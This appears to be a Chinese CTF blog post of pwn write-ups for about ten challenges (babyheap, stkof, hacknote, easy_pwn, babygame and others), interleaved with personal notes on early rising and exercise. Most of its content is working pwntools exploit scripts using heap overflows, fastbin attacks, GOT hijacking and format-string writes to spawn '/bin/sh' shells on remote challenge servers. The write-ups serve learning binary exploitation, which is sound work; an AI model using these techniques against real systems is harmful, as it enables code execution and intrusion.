0x01 0ctf_2017_babyheap

2023.7.24 国防科技大学合肥

本题除了fastbin attack，最重要的是伪造fakechunk，使得存放chunk的指针有两个指向同一个地址，达到泄露地址的目的。

突然发现自己之前写过一模一样的题，当时是照着别人的方法写的堆重叠(这次也有借鉴其实……)。

这个方法我愿意称之为double malloc。

from pwn import *

from evilblade import *

context(os='linux', arch='amd64')

#context(os='linux', arch='amd64', log_level='debug')

setup('./2017')

libset('libc-2.23.so')

rsetup('node4.buuoj.cn',28216)

evgdb()

def add(size):

    #p.sendlineafter(':','1')

    #p.sendlineafter(':',str(size))

    sla(':',str(1))

    sla(':',str(size))

def edit(idx,content):

    sla(':','2')

    sla(':',str(idx))

    sla(':',str(len(content)))

    sla(':',content)

def free(idx):

    sla(':','3')

    sla(':',str(idx))

def dump(idx):

    sla(':','4')

    sla(':',str(idx))

add(0x10)#0

add(0x10)#1

add(0x10)#2

add(0x10)#3,改4

add(0x80)#4

add(0x10)#5 申请堆，最后一个防止合并

#先指向，然后申请fake，两次指向，free一次，泄露地址free(1)

free(2)

#pause()

edit(0,b'\x00'*8*3+p64(0x21)+b'\x00'*8*3+p64(0x21)+b'\x80')

edit(3,b'\x00'*8*3+p64(0x21))

add(0x10)#1

add(0x10)#2 fake chunk

#此时2和4都指向一个堆块edit(3,b'\x00'*8*3+p64(0x91))#恢复，获取地址

free(4)#送入unsorted bin

dump(2)#打印

addx = tet()

addx = tet()

addx = tet()

addx = tet()

addx = tet()

addx = tet()

#接收数据,泄露libc地址addx = getx64(-9,-1)

hook = addx-0x68

addx = hook - 0x1430

base = getbase(addx,'_IO_file_jumps')

add(0x80)

add(0x68)

add(0x68)#fastbin attack

free(6)

free(7)

edit(5,b'\x00'*8*3+p64(0x71)+b'\x00'*8*0xd+p64(0x71)+p64(hook-0xb-0x18))

os = base+0x4526a

add(0x68)

add(0x68)

edit(7,b'\x00'*0x13+p64(os))

dp('hook',hex(hook))

add(0x10)

ia()

'''

0x45216 execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

'''

0x02 hitcon2014_stkof

hitcon2014_stkof

2023.7.25

自己从昨晚开始看的，今天早上好好逆了一下，独立做出来的一道题。

本题目的关键因为没有dump函数，所以是劫持got表到puts的plt，这是我自己发现的，哈哈哈好厉害！

详细的都在exp里了。

刚才看了一下，这题还有一个办法是unlink。

unlink的作用就是，

当一个bin从记录bin的双向链表中被取下时，会触发unlink。常见的比如：相邻空闲bin进行合并，malloc_consolidate时。unlink的过程如下图所示（来自CTFWIKI）主要包含3个步骤，

根据P的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK

设置FD->bk=BK

设置BK->fd=FD，以此达到修改内存的目的，此题是修改s。

from pwn import *

from evilblade import *

context(os='linux', arch='amd64')

context(os='linux', arch='amd64', log_level='debug')

setup('./sk')

libset('libc-2.23.so')

rsetup('node4.buuoj.cn',27833)

evgdb()

def add(size):

    sl(str(1))

    sl(str(size))

def edit(idx,content):

    sl('2')

    sl(str(idx))

    sl(str(len(content)))

    sd(content)

def free(idx):

    sl('3')

    sl(str(idx))

def dump(idx):

    sl(b'4')

    sl(str(idx))

#存在堆溢出漏洞

#打fastbin attack任意内存写

#注意0x7f对应的大小是0x68！！

#注意0x7f对应的大小是0x68！！

#注意0x7f对应的大小是0x68！！

add(0x10)#一个被隔开的,1

add(0x10)#2，控制后面的堆

add(0x68)#3

add(0x68)#4

add(0x10)#5，防止合并

free(3)#

free(4)#释放准备攻击

edit(2,p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(0x602140-0x6b-8))

#覆盖为堆指针的上面部分，对其0x7f伪造堆块

add(0x68)#6

add(0x68)#7,fake chunk

edit(7,b'\x00'*(0x6b+8-0x10)+p64(gotadd('free'))+p64(gotadd('puts')))

#free的是为了写，puts的是为了泄露地址

edit(0,p64(pltadd('puts')))#free劫持为puts，用来泄露地址

free(1)#泄露puts的got地址，实际上执行的是puts(putsgot)

for i in range(19):

    addx = tet()

#接收泄露地址

addx = getx64(0,-1)

base = getbase(addx,'puts')

sys = symoff('system',base)

edit(0,p64(sys))#free劫持为system

edit(2,'/bin/sh')#写个binsh字符串

free(2)#实际上执行的是system(‘/bin/sh’)

ia()

'''

0x45216 execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

'''

发现沉下心来逆一下还是可以理解程序的！！！

0x03 pwnable_hacknote

2023.7.25 还是合肥

pwnable你这个库真骚啊……原来自己过去还有个库。

查了一下

 strings libc_32.so.6  |grep Ubuntu

GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.

from pwn import *

from evilblade import *

#context(os='linux', arch='amd64')

context(os='linux', arch='i386', log_level='debug')

setup('./note')

libset('libc_32.so.6')

rsetup('node4.buuoj.cn',26091)

evgdb()

#evgdb('b *0x8048918')

def add(size,content):

    #p.sendlineafter(':','1')

    #p.sendlineafter(':',str(size))

    sla(':',str(1))

    sla(':',str(size))

    sla(':',content)

def edit(idx, content):

    sla(':','2')

    sla(':',str(idx))

    sa(':',content)

def free(idx):

    sla(':','2')

    sla(':',str(idx))

def dump(idx):

    sla(':','3')

    sla(':',str(idx))

add(16,b'a'*8)

add(16,b'b'*8)

free(0)

free(1)

add(8,p32(0x0804862b)+p32(gotadd('puts')))

dump(0)#uaf，修改了本来的堆地址为puts的got表

symoff('puts')

#addx = tet()

addx = getx32(-13,-9)

base = getbase(addx,'puts')

sys = symoff('system',base)

#走投无路了,看了别人题解，居然是用;绕过

#因为本来是把自己当成参数，但是没有\0截断，会读到下面，于是

#用;绕过加一个sh执行system('sh\x00')，牛的，而且刚好四个字节

free(2)

add(8,p32(sys)+b';sh\x00')

dump(0)

ia()

0x04 roarctf_2019_easy_pwn

2023.7.27

off-by-one是先释放再修改，要用unsorted bin，然后要确保presize没错。

以及这个要用realloc调栈……

原理是malloc_hook->realloc->realloc_hook

被某人教导了，别人说我倒是不听……不能总说比赛比赛，多发现点生活，生活不能只有这些。从现在起就。

昨天教导的哈哈，现在她还睡呢。

from pwn import *

from evilblade import *

context(os='linux', arch='amd64')

context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')

libset('libc-2.23.so')

rsetup('node4.buuoj.cn',27829)

def add(size):

    sla(':',str(1))

    sla(':',str(size))

def edit(idx,size,content):

    sla(':','2')

    sla(':',str(idx))

    sla(':',str(size))

    sla(':',content)

def free(idx):

    sla(':','3')

    sla(':',str(idx))

def dump(idx):

    sla(':',b'4')

    sla(':',str(idx))

#此题在获取size的函数中，当输入大于原始数值10时会返回原始数值+1

#故打off-by-one

add(0x18)#0

add(0x88)#1，构造fakechunk,覆盖2

add(0x88)#2，预备unsorted

add(0x30)#3，防止和top chunk合并

#第一步先构造fake chunk泄露地址

#这里有一个难点，就是会有pre_size的校验

#所以要看一下来确认在哪里写pre_size

free(1)

#free，看一下到哪里写pre_size

#观察到在90下0x20写b0即可（加0x20）,只需要打印到下一个堆块前八位，多打印一些也行

edit(0, 0x18+10,b'\x00'*0x18+b'\xb1')

edit(2, 0x18, p64(0xb0)*3)

#因为是calloc申请时会置零，所以要先恢复chunk2信息。

#同理要确认一下恢复到哪里。

add(0xa8)

edit(1,0x10*8+0x10,b'\x00'*0x10*8+p64(0x91)*2)

#数出来是8*0x10+8,恢复

free(2)

#释放fake chunk获得地址，可以泄露

free(4)

dump(1)

addx = getx64(-28,-22)

hook = addx - 0x68

#symoff('_IO_2_1_stdin_')

base = getbase(addx,'_IO_2_1_stdin_',0x298)

os = base + 0x45216

#此时泄露得到基地址，但是还要劫持程序流才行

#因为开启了FULL RELRO，只能修改malloc hook了

#but,malloc_hook过时了，现在用freehook更好！（mallochook打不出来一点,oneshot不符合）

#然后发现freehook太难了，以后再说，一会调一下带源码为什么freehook-0x13不行

#网上说用realloc调节rsp

#原理是malloc_hook->realloc->realloc_hook

#走fastbin attack

add(0x68)

add(0x68)

#申请两个进入fastbin

free(4)

free(2)

#释放进入

dp('hook',hex(hook))

dp('os',os)

rea = symoff('realloc',base)

os = base+0x4526a

#首先修改realloc_hook,因为相邻所以两个一起改了

edit(1,0x10*8+0x10+8,b'\x00'*0x10*8+p64(0x71)*2+p64(hook-0x23))

#申请回来

add(0x68)

add(0x68)

edit(4,3+0x18,b'\x00'*3+p64(0)+p64(os)+p64(rea))

#realloc后正好rsp+0x30就是0，完成

evgdb('b *$rebase(0xccc)')

dp('new',base)

dp('hook-0x23',hook-0x23)

add(1)

ia()

'''

0x45216 execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)

constraints:

  [rcx] == NULL || rcx == NULL

  [r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)

constraints:

  [rax] == NULL || rax == NULL

  [r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL

0xf02b0 execve("/bin/sh", rsi, [rax])

constraints:

  [rsi] == NULL || rsi == NULL

  [[rax]] == NULL || [rax] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])

constraints:

  [rcx] == NULL || rcx == NULL

  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL

'''

0x05 buuctf jarvisoj_level3_x64

2023.7.28 合肥

因为buu上题目重复了，所以又做了一遍这个。但是有特别的收获。

（啊……最近感冒真难受啊）

感谢链接这位师傅给我作为参考。

收获是什么呢？就是我的魔刀千刃又进行了一次改进，加入了远程搜索库的功能。

本题目其实就是一个ret2libc。

怎么今天讲座结束这么早，提问都没有，只能在外面写完博客

什么时候会专门给魔刀千刃更新一下博客呢？

from evilblade import *

context(os='linux', arch='amd64')

context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')

#libset('libc-2.23.so')

rsetup('node4.buuoj.cn',29268)

putsplt = pltadd('write')

dp('puts',hex(putsplt))

mainplt = symadd('_start')

putsgot = gotadd('read')

rsir15 = 0x00000000004006b1

ret = 0x0400499

rdiadd = 0x04006b3

#不要用write的地址泄露got，有别名

evgdb()

sl(b'a'*0x88+p64(rdiadd)+p64(1)+p64(rsir15)+p64(putsgot)+p64(0)+p64(putsplt)+p64(mainplt))

addx = tet()

addx = uu64(ru('\x00')[:-1])

dp('addx',hex(addx))

rlibset('read',addx)

base = getrbase(addx,'read')

sys = rsymoff('system',base)

binsh = rsymoff('str_bin_sh',base)

sl(b'a'*0x88+p64(rdiadd)+p64(binsh)+p64(ret)+p64(sys))

ia()

0x06 cmcc_pwnme2

2023.8.1 广东

from pwn import *

from evilblade import *

context(os='linux', arch='amd64')

context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')

#libset('libc-2.23.so')

rsetup('node4.buuoj.cn', 25418)

evgdb('b *0x80485cb')

sla('input',b'a'*0x70+p32(pltadd('gets'))+p32(0x80485cb)+p32(0x804A060))

sl(b'flag')

#sl(b'a'*0x70+p32(0x80485cb))

ia()

读flag。

0x07 npuctf_2020_easyheap

off-by-one一道~来自2023.8.4的清晨。

只可已申请0x18和0x38大小的，那就用0x18构造fakechunk为0x38，达到任意地址写目的，劫持got表。

from evilblade import *

context(os='linux', arch='amd64')

context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')

libset('libc-2.27.so')

rsetup('node4.buuoj.cn',26063)

evgdb()

def add(size,content):

    sla(':',str(1))

    sla(':',str(size))

    sla(':',content)

def edit(idx,content):

    sla(':','2')

    sla(':',str(idx))

    sla(':',content)

def free(idx):

    sla(':','4')

    sla(':',str(idx))

def dump(idx):

    sla(':',b'3')

    sla(':',str(idx))

#打off-by-one

add(0x18,b'/bin/sh\x00')#0

add(0x18,b'a')#1

add(0x38,b'a')#2

add(0x18,b'/bin/sh\x00')#3

edit(0,b'\x00'*0x18+b'\x41')

free(1)

free(2)

add(0x38,b'xxxx')

add(0x18,b'yyyy')

add(0x38,b'zzzz')

putsgot = gotadd('puts')

freegot = gotadd('free')

edit(4,b'z'*8+p64(0)*2+p64(0x21)+p64(0x38)+p64(putsgot))

dump(2)

addx = tet()

addx = getx64(-7,-1)

base = getbase(addx,'puts')

edit(4,b'z'*8+p64(0)*2+p64(0x21)+p64(0x38)+p64(freegot))

edit(2,p64(symoff('system',base)))

free(3)

ia()

今天早上六点半就起来了，虽然昨晚去深圳玩回来有点晚，以及各种各样原因。但是是睡到自然醒，基本也是一个半小时周期，六点四十多起来背了个单词，跑跑步练了下哑铃，然后就是陪陪某人醒来到又睡觉。

感觉早起整个人的身体和精神状态都好很多，做背单词什么的事情也不会觉得很着急很浪费时间，反而是觉得没所谓想背多久就多久。如果有幸以后都能早起，每天早起上述的事情干完，再做一个pwn，对我来说是非常好非常好的，这样我每天就会有收获，不会虚度。

为什么突然这么做了呢？因为昨天在深圳龙华天虹中心的不见书店看了下《认知觉醒》等等的书籍，我觉得非常有用，实施之后也发现确实，精神抖擞也不困。

其实之前看过类似的，但是没有坚持下来，因为各种原因。现在重拾之后，感觉状态真的不错。打算搞电子版下来看看。

总之就是突然早起了，可以开始集中很多注意力，做很多以前没有精力做不了的事情……在这里也随手记录一下。

1.早睡早起

这个是很重要的，但是一开始不要着急，一点、十二点、十一点都可以，只要不要设置闹钟，睡到自然醒，知道周期是一个半小时就好，起来之后精神的话就走走晒晒太阳开启一下。

2.运动

可以和我一样跑跑步，拉拉哑铃，什么都可以。

3.主动休息

这个不只是起床的时候，任何时候做了事情之后可以去休息一下恢复精力。但是不要是聊天、刷视频，可以是收拾房间、晾衣服，做一些看起来没啥用实际上大大利好生活环境（如果和某人住一起的话，某人肯定也会很高兴一起来周围都干净很多），不仅回复经历，还会让自己接下来的学习工作环境更加舒适。

4.冥想

这个我觉得可以广义的冥想，除了集中注意力在呼吸，还可以是集中注意力在某件事上，总之就是让自己思想的七个球集中在同一个事情，这样也会很好的提升注意力，提升专注力，不是一个马大哈。

大概先记录这么多？去吃早餐咯，后续有更多的在分享。这里是松散的，有时间可能会整理一下。

0x08 虎符2022 babygame

https://www.ctfer.vip/problem/2163

2023.8.5 今天是七点多起来的，只背了单词，慢慢适应，还有多读点书。今早起来把昨天做的一道题复盘了一下。是这个babygame，实际上应该不难但是因为有canary给我整的云里雾里。

实际上，canary只会影响到我们从本函数ret跳转，如果你直接在此函数里还有别的函数，并且在别的函数里跳转提权，你就不用考虑这个最开始的函数canary是否被覆盖，因为都还没到他那里验证呢。

不要太死，程序是死的人是活的，并不是不能覆盖，而是不能覆盖之后检查。canary没那么可怕！

那既然没有检查，就完全可以覆盖修改！像本题目就可以用printf和%s泄露栈地址。然而我当时没注意到，第一个printf并没有用上，反而是用了后面那个函数里的一个printf最后提权，我觉得还是挺牛的。

本地无ASLR版本

from evilblade import *

from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')

libset('libc.so.6')

rsetup('node3.anna.nssctf.cn', 28218)

dll = cdll.LoadLibrary('libc.so.6')

seed = dll.srand(0x61616161)

sd(b'a'*0x108+b'\x00')#覆盖种子为aaaa

for i in range(100):

    rand = str((dll.rand() + 1)%3)

    sla(':',rand)#控制种子，猜拳获胜

#rbp是第八个

evgdb()

sd(b'%21566c%8$hhn-%9\xf8')#控制返回地址并且泄露

addx = tet()

addx = tet()

addx = tet()

stack = getx64(-24,-18)#得到栈地址

sd(b'%21500c%8$hn%3$p'+p64(stack))

ru('0')

addx = rv(13)

addx = int(b'0'+addx,16)-18

dpx('read',addx)#泄露libc

base = getbase(addx,'read')

os = base + 0xe3b31

dpx('stack',stack+0x10)

rdi = base+0x0000000000023b72

binsh = base+0x00000000001b45bd

sys = symoff('system',base)

ret = base+0x0000000000022679

#fmt = fmtstr_payload(6，{stack+0x10:rdi,stack+0x18:binsh,stack+0x20:ret,stack+0x28:sys},write_size ='short',numbwritten=0)

fmt = fmtstr_payload(6,{stack+0x10:os},write_size ='short',numbwritten=0)

#为了保险打的system，其实也可以直接oneshot

sd(fmt)

ia()

有ASLR

from evilblade import *

from ctypes import *

while True:

    try:

            context(os='linux', arch='amd64', log_level='debug')

            setup('./pwn')

            libset('libc.so.6')

            rsetup('node3.anna.nssctf.cn', 28218)

            evgdb()

            dll = cdll.LoadLibrary('libc.so.6')

            seed = dll.srand(0x61616161)

            sd(b'a'*0x108)#覆盖种子为aaaa

            for i in range(100):

                rand = str((dll.rand() + 1)%3)

                sla(':',rand)#控制种子，猜拳获胜

            #rbp是第八个

            sd(b'%21566c%8$hhn-%9\xe8')#控制返回地址并且泄露

            addx = tet()

            addx = tet()

            addx = tet()

            stack = getx64(-24,-18)#得到栈地址

            sd(b'%21500c%8$hn%3$p'+p64(stack))

            ru('0')

            addx = rv(13)

            addx = int(b'0'+addx,16)-18

            dpx('read',addx)#泄露libc

            base = getbase(addx,'read')

            os = base + 0xe3b31

            dpx('stack',stack+0x10)

            rdi = base+0x0000000000023b72

            binsh = base+0x00000000001b45bd

            sys = symoff('system',base)

            ret = base+0x0000000000022679

           # fmt = fmtstr_payload(6,{stack+0x10:rdi,stack+0x18:binsh,stack+0x20:ret,stack+0x28:sys},write_size ='short',numbwritten=0)

            fmt = fmtstr_payload(6,{stack+0x10:os},write_size ='short',numbwritten=0)

            #为了保险打的system，其实也可以直接oneshot

            sd(fmt)

    except EOFError:

        print("错误：输入遇到了文件结束符（EOF）。")

    except KeyboardInterrupt:

        print("{文明用语}！，继续！")

    else:

            ia()

XSHHC师傅的exp

这个师傅则是清楚的意识canary的检测机制是如何运作的，所以能够在第一个printf就泄露栈地址。

from struct import pack

from LibcSearcher import *

from pwn import *

def s(a):

	p.send(a)

def sa(a, b):

	p.sendafter(a, b)

def sl(a):

	p.sendline(a)

def sla(a, b):

	p.sendlineafter(a, b)

def r():

	p.recv()

def pr():

	print(p.recv())

def rl(a):

	p.recvuntil(a)

def inter():

	p.interactive()

def debug():

    gdb.attach(p)

    pause()

def get_addr():

	return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')

#p = remote('1.14.71.254', 28648)

elf = ELF('./pwn')

gdb.attach(p)

#libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')

libc = ELF('libc.so.6')

text = [2, 0, 1, 0, 0, 2, 0, 0, 2, 2, 0, 1, 0, 2, 2, 2, 2, 0, 0, 2, 0, 1, 2, 0, 1, 2, 2, 2, 1, 0, 0, 2, 1, 1, 0, 0, 2, 0, 0, 1, 2, 0, 1, 1, 1, 0, 1, 1, 2, 1, 2, 1, 1, 1, 2, 2, 2, 1, 1, 0, 1, 1, 2, 2, 1, 2, 1, 0, 2, 1, 0, 0, 1, 0, 1, 1, 0, 2, 2, 1, 2, 2, 0, 0, 2, 1, 2, 1, 1, 0, 1, 2, 1, 0, 0, 1, 2, 1, 1, 0]

sa(b'name:\n', b'a'*0x138)

stack = get_addr()

print(hex(stack))

for i in range(100):

	sa(b'round', str(text[i]).encode())

sa(b'you.\n', b'%62c%8$hhn.%9$pa' + p64(stack - 0x220))

rl(b'0x')

libc_base = int(p.recv(12), 16) - 175 - libc.sym['printf']

print(hex(libc_base))

one_gadget = libc_base + 0xe3b31

payload = fmtstr_payload(6, {(stack - 0x220):one_gadget})

sa(b'you.\n', payload)

inter()

尾声

（那我只用了一个printf在保护全开的情况下成功拿到权限，从另一个角度来说不是也很厉害嘛？）

我称之为printf by one

find / -name flag*

(顺便记一下找flag的命令哈哈)

0x09 wdb_2018_2nd_easyfmt

2023.8.5 晚上做一下题放松，其实因为库又搞混了，并没有很放松。

很久没有那种很幸福的生活的感觉了啊！最近要注意生活，还有写写曲子啦！

from evilblade import *

#context(os='linux', arch='i386', log_level='debug')

setup('./pwn')

libset('libc-2.23.so')

rsetup('node4.buuoj.cn', 26952)

evgdb()

sd('%35$p')

addx = tet()

addx = geti(0,-1)

addx -= 247

#rlibset('__libc_start_main',addx)

base = getbase(addx,'__libc_start_main')

sys =symoff('system',base)

os = base+0x5fbd6

fmt = fmt(6,gotadd('printf'),sys,'short',0)

sl(fmt)

sl(b'/bin/sh\x00')

ia()

0x0a inndy_stack

2023.8.7

这题做了昨天和今天，昨天打了一个2.3版本的打法，是利用pop和push泄露一切然后rop。以及2.23 0ubantu11.3的打法，偏移泄露canary+泄露libc+rop，以及最后2.23 0ubantu3和11的打法，偏移泄露rop。

最大的问题是没有配好libc，导致走了很多弯路！

最大的问题是没有配好libc，导致走了很多弯路！

最大的问题是没有配好libc，导致走了很多弯路！

偏移这个也是灵光一闪。

今天凌晨做了一点奇怪的梦，要把pwn放一放多一些注意别的方面了哈哈哈。今天做完这不做了。

buu_exp 2.230ubantu11

from evilblade import *

context(os='linux', arch='i386', log_level='debug')

setup('./pwn')

libset('libc-2.23.so')

rsetup('node4.buuoj.cn', 28268)

#rsetup('hackme.inndy.tw', 7716)

evgdb('b *$rebase(0x8a4)')

sl(b'p')

sl(b'i 93')

sl(b'p')

ru('Pop -> ')

ru('Pop -> ')

main = getd(0,-1)+0x100000000-247

dpx('main',main)

symoff('__libc_start_main')

base = getbase(main,'__libc_start_main')

sys = symoff('system',base)

sh = 0x0015902b+base

sl(b'c')

sl(b'p')

sl(b'i 93')

sl(b'p')

os = base+0x3a80e

#sl('i {first}'.format(first=sys-0x100000000))

sl('i {first}'.format(first=os-0x100000000))

#sl('i {first}'.format(first=main-0x100000000))

#sl('i {first}'.format(first=sh-0x100000000))

sl(b'x')

ia()

tw_exp 2.230ubantu3

from evilblade import *

context(os='linux', arch='i386', log_level='debug')

setup('./pwn')

libset('libc-2.23.so.i386')

rsetup('node4.buuoj.cn', 28268)

#rsetup('hackme.inndy.tw', 7716)

evgdb('b *$rebase(0x8a4)')

sl(b'p')

sl(b'i 93')

sl(b'p')

ru('Pop -> ')

ru('Pop -> ')

main = getd(0,-1)+0x100000000-247

dpx('main',main)

symoff('__libc_start_main')

base = getbase(main,'__libc_start_main')

sys = symoff('system',base)

sh = 0x0015ba3f+base

sl(b'c')

sl(b'p')

sl(b'i 93')

sl(b'p')

os = base+0x3ac3e

sl('i {first}'.format(first=sys-0x100000000))

#sl('i {first}'.format(first=os-0x100000000))

#sl('i {first}'.format(first=main-0x100000000))

sl('i 0')

sl('i {first}'.format(first=sh-0x100000000))

sl(b'x')

ia()

2.31_exp

看个乐子，不是最好的方法。

from evilblade import *

context(os='linux', arch='i386', log_level='debug')

setup('./pwn')

libset('libc.so.6')

rsetup('node4.buuoj.cn', 28268)

#rsetup('hackme.inndy.tw', 7716)

evgdb('b *$rebase(0x8a4)')

for i in range(2):

    sla(b'>>',b'p')

can = tet()

can = ru('Pop -> ')

can = getd(0,-1)

if can>0 :

    can = can

else:

    can = 0xffffffff+1+can

can = can - 0x1e3c1c#泄露libc

for i in range(2):

    sla(b'>>',b'p')

main = tet()

main = ru('Pop -> ')

main = getd(0,-1)

main -= 27

#泄露pie（不重要……）

for i in range(2):

    sla(b'>>',b'p')

stack = tet()

stack = ru('Pop -> ')

stack = getd(0,-1)

stack = 0xffffffff+1+stack

#泄露栈,用于泄露cannary

piebase = main - 0x73f

dpx('piebase',piebase)

dpx('base',can)

dp('main',main)

dpx('stack',stack)

base = can

dpx('base',base)

canadd = stack+0x40

dpx('canadd',canadd)

cannaryn = 81

for i in range(6):

    sl('i {pay}'.format(pay=str(81)))

    #修改偏移到canary的位置

sl('p')

#泄露canary

canary = ru('Pop -> ')

canary = getd(0,-1)

if canary>0 :

    canary = canary

else:

    canary = 0xffffffff+1+canary

dpx('canary',canary)

os = base+0x3a80c

sys = symoff('system',base)

binsh = base+0x0015ba3f

#sl(b'a'*0x40+p32(canary)+b'a'*0xc+p32(stack+116-24)+p32(0)+p32(os)+p32(os))

sl(b'a'*0x40+p32(canary)+b'a'*0xc+p32(stack+116-24)+p32(0)+p32(sys)+p32(main)+p32(binsh))

sl(b'x')

symoff('printf')

ia()

独奏者2 序章的wp的更多相关文章

.Net 中的反射(序章) - Part.1
引言反射是.Net提供给我们的一件强力武器,尽管大多数情况下我们不常用到反射,尽管我们可能也不需要精通它,但对反射的使用作以初步了解在日后的开发中或许会有所帮助. 反射是一个庞大的话题,牵扯到的知识 ...
Asp.Net MVC4 + Oracle + EasyUI 学习序章
Asp.Net MVC4 + Oracle + EasyUI 序章 -- 新建微软实例本文链接:http://www.cnblogs.com/likeli/p/4233387.html 1. 简 ...
Ⅰ.Spring的点点滴滴--序章
spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架 .net篇(环境为vs2012+Spring.Core.dll) 新建一个控制台 using Spring.Context; ...
ar技术序章-SDK介绍和选择
转自: http://blog.csdn.net/kun1234567/article/details/10402535 ar技术序章-SDK介绍和选择分类: Augmented Reality20 ...
C蛮的全栈之路-序章技术栈选择与全栈工程师
目录 C蛮的全栈之路-序章技术栈选择与全栈工程师C蛮的全栈之路-node篇(一) 环境布置C蛮的全栈之路-node篇(二) 实战一:自动发博客博主背景 985院校毕业,至今十年C++开发工作经验, ...
CCNA+NP学习笔记—序章
本人就读于南京捷式泰网络科技有限公司学习CCIE,这几天准备将多年来的纸质版笔记全部写成电子版献给大家以留下自己学习的足迹.本章是基础篇章,内容较少,主要为之后的内容做铺垫.所有笔记的分类顺序为:序章 ...
Netty5序章之BIO NIO AIO演变
Netty5序章之BIO NIO AIO演变 Netty是一个提供异步事件驱动的网络应用框架,用以快速开发高性能.高可靠的网络服务器和客户端程序.Netty简化了网络程序的开发,是很多框架和公司都在使 ...
数据结构（java版）学习笔记（序章）
程序=数据结构+算法序章做一个简单的思维导图,方便理解数据结构这门课的大纲,接下来我们将是按照线性表,栈,队列,串,树和图的顺序依次往下学.
Netty序章之BIO NIO AIO演变
Netty序章之BIO NIO AIO演变 Netty是一个提供异步事件驱动的网络应用框架,用以快速开发高性能.高可靠的网络服务器和客户端程序.Netty简化了网络程序的开发,是很多框架和公司都在使用 ...
JZOJ 4272. 【NOIP2015模拟10.28B组】序章-弗兰德的秘密
272. [NOIP2015模拟10.28B组]序章-弗兰德的秘密 (File IO): input:frand.in output:frand.out Time Limits: 1000 ms M ...

随机推荐

2022-08-20：给定区间的范围[xi,yi]，xi＜=yi，且都是正整数，找出一个坐标集合set，set中有若干个数字， set要和每个给定的区间，有交集。求set的最少需要几个数。比如给
2022-08-20:给定区间的范围[xi,yi],xi<=yi,且都是正整数, 找出一个坐标集合set,set中有若干个数字, set要和每个给定的区间,有交集. 求set的最少需要几个数. ...
2022-05-08：给你一个下标从 0 开始的字符串数组 words 。每个字符串都只包含小写英文字母。words 中任意一个子串中，每个字母都至多只出现一次。如果通过以下操作之一，我们可以
2022-05-08:给你一个下标从 0 开始的字符串数组 words .每个字符串都只包含小写英文字母 .words 中任意一个子串中,每个字母都至多只出现一次. 如果通过以下操作之一,我们可以从 ...
2021-09-27：Pow(x, n)。实现 pow(x, n) ，即计算 x 的 n 次幂函数（即，x**n）。力扣50。
2021-09-27:Pow(x, n).实现 pow(x, n) ,即计算 x 的 n 次幂函数(即,x**n).力扣50. 福大大答案2021-09-27: 遍历n的二进制位. 时间复杂度:O( ...
Django4全栈进阶之路7 makemigrations和migrate迁移
Django 4 中使用数据迁移(migration)来管理数据库结构的变化.数据迁移可以创建.修改和删除数据库表.字段.索引等对象,以及填充初始数据. 下面是使用数据迁移的基本步骤: 1.在 app ...
Can't uninstall 'Pillow'. No files were found to uninstall.
Can't uninstall 'Pillow'. No files were found to uninstall. Pillow卸载不掉的解决办法 1.进入python所在路径,进入scripts ...
NodeJs 实践之他说
NodeJs 实践之他说作为前端,我们知道 node 在构建方面是成功的,我们也听说过全栈,那么 node 是否能应用在企业级的后端?一起来看一下腾讯视频的 NodeJs 改造. Tip: 故事大概 ...
DP杂谈【持续更新中】
什么是DP? 推荐看一下. 正文滚动数组优化在一些空间贼小,时间还好的 DP 题目里,会用到优化空间的小技♂巧--滚动数组优化. 滚动数组,顾名思义,一个会滚动的数组,主要是怎样个滚法呢?接下来我 ...
C++温故补缺(二十一):杂项补充2
杂记2 explicit 在 C++ 中,explicit 是一个关键字,用于修饰类的构造函数,其作用是禁止编译器将一个参数构造函数用于隐式类型转换.具体来说,当一个构造函数被 explicit 修饰 ...
花了半天时间，使用spring-boot实现动态数据源，切换自如
在一个项目中使用多个数据源的情况很多,所以动态切换数据源是项目中标配的功能,当然网上有相关的依赖可以使用,比如动态数据源,其依赖为, <dependency> <groupId& ...
【HMS Core】【In-App Purchases】应用内支付热门FAQ合集
近期收到很多开发者关于应用内支付服务的相关问题,主要集中在以下几个方面,今天和大家分享一下,希望给大家的开发集成带来帮助. [问题描述1] 近期,很多开发者收到关于"全面限制HTTP类型回 ...

独奏者2 序章的wp